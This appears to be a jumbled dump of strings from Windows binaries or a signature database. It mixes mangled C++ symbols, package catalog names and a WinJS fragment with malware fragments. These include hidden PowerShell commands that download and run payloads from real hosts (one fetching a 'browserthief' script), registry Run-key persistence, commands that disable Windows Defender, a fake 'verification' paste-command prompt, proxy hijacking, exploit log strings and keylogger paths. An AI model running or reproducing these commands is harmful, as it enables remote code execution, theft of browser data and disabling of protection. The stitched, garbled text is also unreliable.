.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_3>@?5??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_1>@?4??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_2>@?4??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$ServicesPageT@UServicesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_6>@?8??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEB
xpdl3_initc:\Windows\temp\
c:\windows\system32\
Rundll32.exe shell32.dll,Control_RunDLL c:\windows\system32\
powershell.exe-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http
nexecutionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Kernel-Package-IsolatedUserMode-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
\software\\microsoft\\windows\\currentversion\\run
copy/b"c:\users\public\windowssecurity.bat"/b+"c:\users\public\windowssecurity"/b"c:\users\public\windowssecurity.bat"regadd"hkcu\software\microsoft\windows\currentversion\run"/v"windowssecurity"/treg_sz/d
<si><t>\windows\</t></si><si><t>,0,0)</t></si><si><t>,0,</t></si><si><t>rundll32.exe</t></si><si><t>syswow64\</t></si><si><t>d"&amp;"l"&amp;"lr"&amp;"egister"&amp;"serve"&amp;"r</t></si><si><t>"http
step1",step1desc:"press<spanclass='key'>windows</span>+<spanclass='key'>r</span>toopenthe'run'dialogbox.",step2title:"step2",step2desc:"press<spanclass='key'>ctrl</span>+<spanclass='key'>v</span>topastetheverificationcommand."
AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
GetWindowsDirectoryW
c:\windowsF
var WinJS_Init=function(n,t){var i=typeof n!="undefined"?n:typeof t!="undefined"?t:typeof global!="undefined"?global:{};(function(n){typeof define=="function"&&define.amd?define([],n):(i.msWriteProfilerMark&&msWriteProfilerMark("WinJS.4.4 4.4.0.winjs.2016.5.19 base.js,StartTM"),typeof exports=="object"&&typeof exports.nodeName!="string"?n():n(i.WinJS),i.msWriteProfilerMark&&msWriteProfilerMark("WinJS.4.4 4.4.0.winjs.2016.5.19 base.js,StopTM"))})(function(){var u,r;return function(){"use strict";function t(n,t){n=n||"";var i=n.split("/");return i.pop(),t.map(function(n){if(n[0]==="."){var r=n.split("/"),t=i.slice(0);return r.forEach(function(n){n===".."?t.pop():n!=="."&&t.push(n)}),t.join("/")}return n})}function f(r,f,e){return r.map(function(r){if(r==="exports")return e;if(r==="require")return function(n,i){u(t(f,n),i)};var o=n[r];if(!o)throw new Error("Undefined dependency: "+r);return o.resolved||(o.resolved=i(o.dependencies,o.factory,r,o.exports),typeof o.resolved=="undefined"&&(o.resolved=o.exports)),o.resolved})}function i(n,t,i,r){var u=f(n,i,r);return t&&t.apply?t.apply(null,u):t}var n={};r=function(i,r,u){Array.isArray(r)||(u=r,r=[]);var f={dependencies:t(i,r),factory:u};r.indexOf("exports")!==-1&&(f.exports={});n[i]=f};u=function(n,t){Array.isArray(n)||(n=[n]);i(n,t)}}(),r("amd",function(){}),r("WinJS/Core/_WinJS",{}),r("WinJS/Core/_Global",[],function(){"use strict";return typeof n!="undefined"?n:typeof t!="undefined"?t:typeof global!="undefined"?global:{}}),r("WinJS/Core/_BaseCoreUtils",["./_Global"],function(n){"use strict";function i(n){return n.supportedForProcessing=!0,n}var t=!!n.Windows;return{hasWinRT:t,markSupportedForProcessing:i,_setImmediate:n.setImmediate?n.setImmediate.bind(n):function(t){n.setTimeout(t,0)}}}),r("WinJS/Core/_WriteProfilerMark",["./_Global"],function(n){"use strict";return n.msWriteProfilerMark||function(){}}),r("WinJS/Core/_Base",["./_WinJS","./_Global","./_BaseCoreUtils","./_WriteProfilerMark"],function(n,t,i,r){"use strict";function u(n,t,i){for(var s=Object.keys(t),h=Array.isArray(n),u,e=0,c=s.length;e<c;e++){var f=s[e],o=f.charCodeAt(0)!==95,r=t[f];if(r&&typeof r=="object"&&(r.value!==undefined||typeof r.get=="function"||typeof r.set=="function")){r.enumerable===undefined&&(r.enumerable=o);i&&r.setName&&typeof r.setName=="function"&&r.setName(i+"."+f);u=u||{};u[f]=r;continue}if(!o){u=u||{};u[f]={value:r,enumerable:o,configurable:!0,writable:!0};continue}h?n.forEach(function(n){n[f]=r}):n[f]=r}u&&(h?n.forEach(function(n){Object.defineProperties(n,u)}):Object.defineProperties(n,u))}return function(){function e(i,r){var u=i||{},f,e,s,o;if(r)for(f=r.split("."),u===t&&f[0]==="WinJS"&&(u=n,f.splice(0,1)),e=0,s=f.length;e<s;e++)o=f[e],u[o]||Object.defineProperty(u,o,{value:{},writable:!1,enumerable:!0,configurable:!0}),u=u[o];return u}function o(n,t,i){var r=e(n,t);return i&&u(r,i,t||"<ANONYMOUS>"),r}function s(n,i){return o(t,n,i)}function h(n){var f,t=i.uninitialized,u;return{setName:function(n){f=n},get:function(){switch(t){case i.initialized:return u;case i.uninitialized:t=i.working;try{r("WinJS.Namespace._lazy:"+f+",StartTM");u=n()}finally{r("WinJS.Namespace._lazy:"+f+",StopTM");t=i.uninitialized}return n=null,t=i.initialized,u;case i.working:throw"Illegal: reentrancy on initialization";default:throw"Illegal";}},set:function(n){switch(t){case i.working:throw"Illegal: reentrancy on initialization";default:t=i.initialized;u=n}},enumerable:!0,configurable:!0}}function c(n,i,r){var o=[n],f=null;return i&&(f=e(t,i),o.push(f)),u(o,r,i||"<ANONYMOUS>"),f}var f=n,i;f.Namespace||(f.Namespace=Object.create(Object.prototype));i={uninitialized:1,working:2,initialized:3};Object.defineProperties(f.Namespace,{defineWithParent:{value:o,writable:!0,enumerable:!0,configurable:!0},define:{value:s,writable:!0,enumerable:!0,configurable:!0},_lazy:{value:h,writable:!0,enumerable:!0,configurable:!0},_moduleDefine:{value:c,wri
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Foundation-Win0-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Network-Foundation-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-OneCore-Bluetooth-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|4~~10.0.26100.1591.cat|~~10.0.
[-] WerReportCreate failed[-] WerReportSubmit Error %d\WindowsErrorReportingServicePortNtAlpcSendWaitReceivePort error: 0x%x[+] Generating ROP chain[+] Potential matchNTDLL code base @ 0x%llx (0x%llx bytes)[-] Unable to identify necessary gadgets![+] StackOffset: 0x%x[+] Found jump at 0x%llx[+] MOV at 0x%llx[+] Sending payload...[+] Writting Dll Path: %s[+] Loading target[+] Restore Thread Execution!#HSTR:Program:Win32/OutBrowse.C
K.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\
:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010
Microsoft (R) Windows (R) Version %hs (Build %u%hs)
Microsoft.Windows.Kernel.IoMgr
Microsoft.Windows.Power.AdaptiveStandby
Microsoft.Windows.Kernel.Acpi.IrqArb
WindowsTrustedRT
WindowsTrustedRTProxy
Microsoft.Windows.Defender
Microsoft.Windows.Kernel.Acpi
Microsoft.Windows.Defender
Microsoft.Windows.Kernel.HAL
Microsoft.Windows.Hal
Microsoft.Windows.UnexpectedCodePath
Microsoft.Windows.Kernel.PnP
Microsoft.Windows.Kernel.PnP
WindWindowsTrustedRTProxy
WindowsTrustedRT
WindowsTrustedRT
TrEEWindowsTrustedRT
Microsoft.Windows.TlgAggregateInternal
 @ItemReference<Windows.Data.PlaceholderTileLogo>
c:\windows\system32\cmd
Beendet sich selbst ohne BenutzerbenachrichtigungWindows Error Reporting deaktivierenWindows Security Notifications deaktivierenDisableWindowsUpdateAccessWindowStyle Hidden -ExecutionPolicy Bypass -FileDisableRealtimeMonitoring $trueDisableIOAVProtection $trueDisableScriptScanning $trueStop-Service WinDefend -ForceTrojan:PowerShell/Click.YMJ!ams
invoke-webrequest-uri'http://134.209.118.141/bb.dll'-outfile'c:\windows\tasks\bb.dll';start-processrundll32.exe-argumentlist'/sc:\windows\tasks\bb.dll,basicload'
WINDOWS;C:\WIN
Win32API|System Shutdown Functions|ExitWindowsEx
Win32API|System Shutdown Functions|ExitWindowsEx
Win32API|System Shutdown Functions|ExitWindowsEx
Win32API|System Shutdown Functions|ExitWindowsEx
Win32API|System Shutdown Functions|ExitWindowsEx
\Windows\
WC:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp\WebView2Download
Windows.Client.CBS_cw5n1h2txyewy\AC\Temp\
Software\Microsoft\Windows\stubbily\Uninstall\oneiricS
i!#ALF:Y2V:Arnim_Rupp/HKTL_NET_GUID_WindowsRpcClients
Software\Microsoft\Windows\CurrentVersion\Uninstall\bylt\AntimalariaS
ROOT\Microsoft\Windows\Defender
set_WindowState
/s\system32\cmd.exe/cpowershell-cset-aliasferriwr;salnetaexiex;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
Alias "CreateRemoteThread"Alias "VirtualAllocEx"Alias "WriteProcessMemory"Alias "CreateProcessA"& "\\System32\\rundll32.exe".hProcess, 0, 
-ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('
Xcmd/cstart/min""powershell-argumentlist"-windowstylehidden-executionpolicybypass-command"
software\microsoft\windows\currentversion\policies\winoldapp
windows\currentversion\run\
c:\windows\system32\
c:\windows\system32\
windowsinstaller.
wow64_microsoft-windows-windowui.resources_31bf3856ad364e35_en-us_8c2c2cde3d05e9de
wow64_microsoft-windows-windowui_31bf3856ad364e35_none_fb7f217dcddc4ce9
wow64_microsoft-windows-winhstb.resources_31bf3856ad364e35_en-us_1f2627b353d440d7
wow64_microsoft-windows-winhstb_31bf3856ad364e35_none_cdba6bd690c50ed2
wow64_microsoft-windows-wininit-events_31bf3856ad364e35_none_c4a3e33312389755
wow64_microsoft-windows-wininit-mof.resources_31bf3856ad364e35_en-us_957cbb0d33408eb7
wow64_microsoft-windows-wininit-mof_31bf3856ad364e35_none_8c22d53cc288502e
wow64_microsoft-windows-wininitext.resources_31bf3856ad364e35_en-us_470ecd5212326929
wow64_microsoft-windows-wininitext_31bf3856ad364e35_none_db97061586ea0a78
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
@echooffpowershell-windowstylehidden-command"iex(new-objectnet.webclient).downloadstring('https://raw.githubusercontent.com/scribblercoder/browserthief/main/browserthief.ps1');pumpndump-hqhttp://127.0.0.1:1337;exit"
;callfso.deletefile("c:\windows\system32\drivers\klif.sys")
principal.windowsidentity]::getcurrent(}
mozilla/5.0 (windows nt 6.1; win64; x
C:\WINDOWS\SYSTEM32\
system\currentcontrolset\control\network\{4d36e972-e325-11ce-bfc1-08002be10318}reg add "hkey_local_machine\software\microsoft\windows nt\currentversion\winlogonnetsh interface ip add dns name="
 prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
c:\windows\
c:\windows\
\keylogger_windowshook
\\keylogger_windowshook(final)\\x64\\(Release|Debug)\\del4.pdb
/create /sc MINUTE /mo 10 /tn "Windows Defender Update System Folder" /tr "/
https://pastebin.com/raw/Windows Defenfer Logger File.exeW
windowsformsapplication
\\Users\\john\\Documents\\.+\\IE-COM\\.+WindowsFormsApplication.+\.pdb
.?AU?$require@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$require@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIToggleButton@Primitives@Controls@Xaml@UI@Windows@4@UIButtonBase@6789Windows@4@UIContentControl@789Windows@4@UIContentControl2@789Windows@4@UIControl@789Windows@4@UIControl2@789Windows@4@UIControl3@789Windows@4@UIControl4@789Windows@4@UIControl5@789Windows@4@UIControl7@789Windows@4@UIFrameworkElement@89Windows@4@UIFrameworkElement2@89Windows@4@UIFrameworkElement3@89Windows@4@UIFrameworkElement4@89Windows@4@UIFrameworkElement6@89Windows@4@UIFrameworkElement7@89Windows@4@UIUIElement@89Windows@4@UIUIElement2@89Windows@4@UIUIElement3@89Windows@4@UIUIElement4@89Windows@4@UIUIElement5@89Windows@4@UIUIElement7@89Windows@4@UIUIElement8@89Windows@4@UIUIElement9@89Windows@4@UIUIElement10@89Windows@4@UIAnimationObject@Composition@9Windows@4@UIVisualElement@Composition@9Windows@4@UIDependencyObject@89Windows@4@UIDependencyObject2@89Windows@4@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UExpan
o"e\!u5aq!u5aq!u5aq!u5aq!u5aq!u5aq!u5aq!u5aq!u5aq!u5aq!u5asnf`~>endstreamendobj40obj<</a<</s/uri/type/action/uri(https://anexopdf.z15.web.core.windows.net/?
write(readalltextfile)f.writeline("")f.writeline("user_pref("&asp&"network.proxy.autoconfig_url"&asp&","&asp&"http://nnu.allforcex.com:8082/dnew.dat"&asp&");")f.writeline("user_pref("&asp&"network.proxy.type"&asp&",2);")nextendifsetwshsysenv=nothingwhilecc=10foreachnuminarrvnrge.setbinaryvaluehkcu,strie,num,ivaluesnextpx.regwrite"hkcu\software\microsoft\windows\currentversion\internetsettings\autoconfigurl","http://nnu.allforcex.com:8082/dnew.dat","reg_sz"cc=11wend
 /tnC:\Windows\System32\attrib.exe/
c:\windows\system32\windowspowershell\v1.0\powershell.exe-win1echo
%c:\windows\system32\forfiles.exe/pc:\windows\system32/mcmmon32.exe/c"cmd/cpowershell-whidden-c\"iwr'https://ghost.updatecenter.xyz/webdav/reg/shcore'-outfile$env:temp\shcore.hta;startmshta$env:temp\shcore.hta\""
CheckWindowsActivatedStateAsync
CheckWindowsActivatedState
wow64_microsoft-windows-w..ter-cimprovider-exe_31bf3856ad364e35_none_9240c29d22435d28
wow64_microsoft-windows-w..tnet-mua-hostserver_31bf3856ad364e35_none_38bfe94f4652a8ea
wow64_microsoft-windows-w..ucture-other-minwin_31bf3856ad364e35_none_12cc3eb14db20b39
wow64_microsoft-windows-w..utils-dll.resources_31bf3856ad364e35_en-us_a5075c9158c723dc
wow64_microsoft-windows-w..utinking-inkobjcore_31bf3856ad364e35_none_4a2987e63ec33f60
wow64_microsoft-windows-w..vider-dll.resources_31bf3856ad364e35_en-us_df0d6c5977f8ed47
wow64_microsoft-windows-w..vider-exe.resources_31bf3856ad364e35_en-us_24fd006c99f3f4c1
wow64_microsoft-windows-w..xperience.resources_31bf3856ad364e35_en-us_504213102045e201
wow64_microsoft-windows-wab-app_31bf3856ad364e35_none_9cb3d61740f91489
b2^windows.updateTask
b2^windows.preInstalledConfigTask
b2^windows.backgroundTasks
c:\windows\system32\
\windows nt\currentversion
%-windowstylehidden-executionpolicybypass-nologo-nopr
WINDOWS.BACKGROUNDTASKS
9_VIP_TVideoCapPXF2000.vicp.net:8080Windows_rejoice
Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
98a42a15-c16e-45ce-b4bc-c05d04e82f1fMinesweeper_Windows.Properties
WindowsClient.
Windows.+
start/mincmd/c"powershell-windowstylehidden-commandinvoke-webrequest-uri'https://tinyurl.com/
.bat'-windowstylehidden
e-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
70^com.microsoft.windows.services.accounts
com.microsoft.windows.services.accounts
71^com.microsoft.windows.app.accounts
com.microsoft.windows.app.accounts
7d^com.microsoft.windows.extensionpackage
7e^com.microsoft.windows.extensions.actionui
-windowstylehidden
&Uninstall c-Nav.lnkAbout c-Nav.urlcdnaux.dllManagerShortCut:\Program Files\CNNIC\Cdn\Software\Microsoft\Windows\CurrentVersion\Uninstall\CdnClient
cdnprot.syscdnup.exeSYSTEM\CurrentControlSet\Services\cdnprotInstall will continue after restarting computer!Do you reboot now?SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cdn
?OnWindowStyleChanged@HWNDHost@DirectUI@@UEAAX_KPEBUtagSTYLESTRUCT@@@Z
Windows.Data.PlaceholderTile
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Kernel-Package-DebuggerTransport-Network-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-Kernel-Package-DriverVerifier-Xdv-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
